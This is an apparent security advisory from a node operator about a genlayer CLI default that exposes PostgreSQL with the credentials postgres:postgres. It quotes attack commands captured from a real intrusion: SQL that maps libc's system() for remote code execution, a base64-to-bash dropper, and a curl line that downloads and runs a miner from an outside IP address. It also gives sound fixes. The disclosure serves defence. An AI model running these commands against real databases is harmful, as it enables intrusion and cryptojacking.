[CRITICAL] PostgreSQL Port Exposed to Public Internet Allows RCE and Cryptominer Deployment

Summary

The default docker-compose.yml configuration shipped with the genlayer CLI binds the PostgreSQL port (5432) to 0.0.0.0 (all network interfaces), making the database directly accessible from the public internet. Because the default credentials are postgres:postgres, an unauthenticated remote attacker can connect to the database and escalate to full Remote Code Execution via PostgreSQL's CREATE FUNCTION mechanism using libc.so.6. This was exploited in a real attack that deployed a cryptominer within minutes of the node going online.

Severity

Affected Versions

• genlayer CLI: v0.65.0 (confirmed) — likely all prior versions
• docker-compose.yml image: postgres:17-alpine
• Deployment method: genlayer init on any Linux host with a public IP

Vulnerability Details

Root Cause

In /docker-compose.yml, the postgres service port mapping is:

ports:
  - "${DBPORT:-5432}:5432"

Without an explicit bind address, Docker maps this to 0.0.0.0:5432, exposing PostgreSQL to all interfaces, including the public internet. Combined with the default credentials (DBPASSWORD=postgres), any remote host can authenticate as a superuser.

Default Credentials

# .env defaults
DBUSER=postgres
DBPASSWORD=postgres
DBNAME=genlayer_state

These defaults are used verbatim unless the user explicitly changes them — there is no prompt or warning during genlayer init.

Attack Vector — Step by Step

[Attacker] ──── TCP:5432 ──▶ [0.0.0.0:5432 public IP] ──▶ [Docker postgres container]
                                                                        │
                              psql -h <server> -U postgres              │
                              Password: postgres  ◀── default creds ───┘
                                        │
                    ┌───────────────────▼────────────────────────────┐
                    │  CREATE FUNCTION system() AS libc.so.6 → RCE  │
                    └───────────────────┬────────────────────────────┘
                                        │
                              Download bot from 181.214.147.108
                                        │
                              Execute cryptominer /tmp/mysql (XMRig)
                                        │
                              Watchdog /tmp/init ensures persistence

Proof of Concept

The following SQL commands were captured in PostgreSQL logs during the attack. Do not execute on production systems.

-- Step 1: Create a shell execution function by mapping to libc
-- (attacker tried two libc paths for Alpine/Debian compatibility)
CREATE OR REPLACE FUNCTION system(cstring)
  RETURNS int
  AS '/lib/x86_64-linux-gnu/libc.so.6', 'system'
  LANGUAGE 'c' STRICT;

-- Step 2: Execute a base64-encoded bash dropper
SELECT system('echo <base64_payload> | base64 -d | bash');

The decoded bash payload performed three actions:

1. Killed competing malware — iterated /proc/*/exe and sent kill -9 to known rival miners (kinsing, kdevtmpfsi, pg_mem, etc.)
2. Checked for self — exited if /tmp/init already existed (idempotent install)
3. Downloaded and executed dropper:

__curl http://181.214.147.108/bot > /tmp/bot && chmod +x /tmp/bot && cd /tmp; ./bot database1;

The dropper installed:

• /tmp/mysql — UPX-packed XMRig cryptominer (loaded into memfd to evade disk detection)
• /tmp/init — watchdog process that relaunches the miner if killed

Observed Impact

What an attacker can do:

• Execute arbitrary OS commands as the postgres user inside the container
• Read/write/delete all application data in the database
• Use the container as a pivot point to attack other services on the Docker network (e.g., genlayer-jsonrpc-1, genlayer-hardhat-1)
• Deploy persistent malware with a watchdog process
• Exfiltrate secrets from environment variables (e.g., OPENAIKEY, ANTHROPIC_API_KEY, GEMINI_API_KEY, HARDHAT_PRIVATE_KEY)

Recommended Fix

1. Bind PostgreSQL to localhost only (primary fix)

Change the port mapping in docker-compose.yml:

# BEFORE (vulnerable)
ports:
  - "${DBPORT:-5432}:5432"

# AFTER (safe)
ports:
  - "127.0.0.1:${DBPORT:-5432}:5432"

2. Force strong password during genlayer init

The CLI should generate a random password on first run and write it to .env, rather than shipping postgres as the default:

# Example: generate during init
import secrets
db_password = secrets.token_urlsafe(24)

3. Restrict PostgreSQL pg_hba.conf inside the container

Even if the port is exposed, add an additional layer by restricting connections to trusted networks only:

# pg_hba.conf
host  all  all  172.16.0.0/12  scram-sha-256   # Docker internal only
host  all  all  0.0.0.0/0      reject

4. Warn users during init if port will be publicly exposed

The CLI could detect whether the host has a public IP and warn accordingly:

⚠ WARNING: Port 5432 will be bound to 0.0.0.0.
  Your PostgreSQL instance will be accessible from the internet.
  Please ensure your firewall blocks external access to this port.

5. Add security notice to documentation

The README / quickstart guide should prominently warn that running on a VPS or cloud instance requires firewall rules blocking port 5432.

Timeline

Environment

• OS: Ubuntu 22.04 LTS (Linux 5.15.0)
• Docker: running in default bridge network mode
• Host type: VPS with public IPv4
• genlayer CLI version: v0.65.0
• PostgreSQL: 17.9-alpine

References

• Docker networking — published ports
• PostgreSQL CREATE FUNCTION with C language
• CWE-1188: Insecure Default Initialization of Resource
• Similar CVE pattern: CVE-2019-9193 (PostgreSQL COPY TO/FROM PROGRAM)

Reported by a GenLayer node operator[keeneye]. Happy to provide additional logs, packet captures, or assist with testing a fix.